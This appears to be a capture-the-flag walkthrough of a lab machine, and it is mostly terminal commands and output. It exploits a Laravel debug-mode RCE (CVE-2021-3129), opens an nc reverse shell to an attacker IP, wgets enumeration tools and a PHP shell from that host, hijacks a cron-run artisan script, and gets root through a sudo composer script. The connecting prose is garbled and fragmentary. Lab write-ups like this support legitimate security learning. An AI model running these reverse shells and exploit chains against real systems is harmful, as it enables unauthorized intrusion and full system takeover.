

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.176.38 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.176.38:22
Open 192.168.176.38:80

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
80/tcp    open  http      syn-ack Apache httpd 2.4.56 ((Debian))
|_ http-title: W3.CSS Template
|_ http-favicon: Unknown favicon MD5: D41D8CD98F00B204E9800998ECF8427E
|_ http-server-header: Apache/2.4.56 (Debian)
|_ http-methods:
|_ Supported Methods: GET HEAD OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
``` buster
```

```
(kali㉿kali)-[~/pgplay]
└─$ gobuster dir -u http://192.168.176.38 -w /home/kali/SecLists/Discovery/Web-Content/common.txt
```

```
=====
/.git/logs/ (Status: 301) [Size: 319] [-> http://192.168.176.38/.git/logs]
/cgi-bin/ (Status: 301) [Size: 317] [-> http://192.168.176.38/cgi-bin]
/css (Status: 301) [Size: 314] [-> http://192.168.176.38/css]
/favicon.ico (Status: 200) [Size: 0]
/home (Status: 302) [Size: 354] [-> http://192.168.176.38/login]
/images (Status: 301) [Size: 317] [-> http://192.168.176.38/images/]
/index.php (Status: 200) [Size: 15138]
/javascript (Status: 301) [Size: 321] [-> http://192.168.176.38/javascript/]
/js (Status: 301) [Size: 313] [-> http://192.168.176.38/js]
/login (Status: 200) [Size: 4916]
/logout (Status: 405) [Size: 835]
/register (Status: 200) [Size: 4981]
/robots.txt (Status: 200) [Size: 24]
/web.config (Status: 200) [Size: 1194]
Progress: 4727 / 4727 (100.00%)
=====
Finished
=====
``` http://192.168.176.38/register,can
```

```
Name: admin
E-Mail Address: admin@gmail.com
Password: admin123
Confirm Password: admin123
``` logincan`Debug`enable`
```

APP\_DEBUG = [ENABLED]

``` Go to <http://192.168.176.38/.git/404> error,Laravel 8.4.0cangoogole exploit,use [CVE-2021-3129](https://github.com/joshuavanderpol/CVE-2021-3129?source=post_page-----12bfd272e9cf-----) ([https://github.com/joshuavanderpol/CVE-2021-3129?source=post\\_page-----12bfd272e9cf-----](https://github.com/joshuavanderpol/CVE-2021-3129?source=post_page-----12bfd272e9cf-----))

```

(kali㉿kali)-[~/pgplay]
└─$ git clone https://github.com/joshuavanderpoll/CVE-2021-3129.git

(kali㉿kali)-[~/pgplay]
└─$ cd CVE-2021-3129

(kali㉿kali)-[~/pgplay/CVE-2021-3129]
└─$ pip3 install -r requirements.txt

(kali㉿kali)-[~/pgplay/CVE-2021-3129]
└─$ python3 CVE-2021-3129.py --host http://192.168.176.38

[?] Please enter a command to execute: execute whoami
[✓] Result:
www-data

[?] Do you want to try the next chain? [Y/N] : N
``` find80 portcanreverse

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp80

```

```

(kali㉿kali)-[~/pgplay/CVE-2021-3129]
└─$ python3 CVE-2021-3129.py --host http://192.168.176.38

```

```

[?] Please enter a command to execute: execute rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bin/sh -i 2>&1|nc 192.168.45.196 80 >/tmp/f
[✓] Generated 21 payloads.
[@] Trying chain laravel/rce1 [1/21]...
[@] Clearing logs...
[@] Causing error in logs...
[✓] Caused error in logs.
[@] Sending payloads...
[✓] Sent payload.
[@] Converting payload...
[✓] Converted payload.
[✓] Result:

[✓] Working chain found. You have now access to the 'patch' functionality.
[?] Do you want to try the next chain? [Y/N] : Y
[@] Trying chain laravel/rce2 [2/21]...
[@] Clearing logs...
[@] Causing error in logs...
[✓] Caused error in logs.
[@] Sending payloads...
[✓] Sent payload.
[@] Converting payload...
[✓] Converted payload.
``` ,/home/skunkget local.txt

```

```

$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@debian:/$

www-data@debian:/home/skunk$ cat local.txt
ab3c86011cace338370c0df1b6671117
``` use`linpeas.sh`,`find`skunk`sudo

```

```

www-data@debian:/tmp$ wget 192.168.45.196:22/linpeas.sh
www-data@debian:/tmp$ chmod +x linpeas.sh
www-data@debian:/tmp$./linpeas.sh

```

```

...
===== All users & groups
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon[0m] gid=1(daemon[0m] groups=1(daemon[0m]
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=100(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=1001(skunk) gid=1001(skunk) groups=1001(skunk),27(sudo),33(www-data)
...
``` usepspyCheckcron,findUID=1001``artisan

```

```

www-data@debian:/tmp$ wget 192.168.45.196:22/pspy64
www-data@debian:/tmp$ chmod +x pspy64
www-data@debian:/tmp$ ./pspy64

...
2024/04/16 02:56:01 CMD: UID=1001 PID=17714 | /bin/sh -c /usr/bin/php /var/www/html/lavita/artisan
clear:pictures
2024/04/16 02:56:01 CMD: UID=1001 PID=17716 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2024/04/16 02:56:01 CMD: UID=1001 PID=17717 | sh -c stty -a | grep columns
2024/04/16 02:56:01 CMD: UID=1001 PID=17718 | sh -c stty -a | grep columns
2024/04/16 02:56:01 CMD: UID=1001 PID=17719 | /usr/bin/php /var/www/html/lavita/artisan clear:pictures
2024/04/16 02:56:01 CMD: UID=1001 PID=17721 | sh -c stty -a | grep columns
...
``` `artisan` `shell.php`, obtain `shunk` `shellCheck` `sudo -l`

```

```

(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp9001

```

```

www-data@debian:/var/www/html/lavita$ mv artisan artisan_1
www-data@debian:/var/www/html/lavita$ wget 192.168.45.196:22/shell.php
www-data@debian:/var/www/html/lavita$ mv shell.php artisan

```

```

skunk@debian:/$ sudo -l
Matching Defaults entries for skunk on debian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

```

User skunk may run the following commands on debian:

(ALL : ALL) ALL

(root) NOPASSWD: /usr/bin/composer --working-dir=/var/www/html/lavita \*

``` Check [GTFOBins \(https://gtfobins.github.io/gtfobins/composer/#shell\)](https://gtfobins.github.io/gtfobins/composer/#shell), find, use www-data user use, get root, /root get proof.txt

```

skunk@debian:/$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >/var/www/html/lavita/composer.json
<3 1>&3 2>&3"}}' >/var/www/html/lavita/composer.json
bash: /var/www/html/lavita/composer.json: Permission denied

www-data@debian:/var/www/html/lavita$ cp composer.json composer.json.bak
cp composer.json composer.json.bak
www-data@debian:/var/www/html/lavita$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >composer.json
<:{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >composer.json

skunk@debian:/var/www/html/lavita$ sudo /usr/bin/composer --working-dir=/var/www/html/lavita run-script x
<ser --working-dir=/var/www/html/lavita run-script x
Do not run Composer as root/super user! See https://getcomposer.org/root for details
Continue as root/super user [yes]? yes
yes
> /bin/sh -i 0<&3 1>&3 2>&3
# whoami
whoami
root
# python3 -c 'import pty; pty.spawn("/bin/bash")'
root@debian:~# cat proof.txt
0fb5256f7cfa4e6716581faf5d2ea3e9

```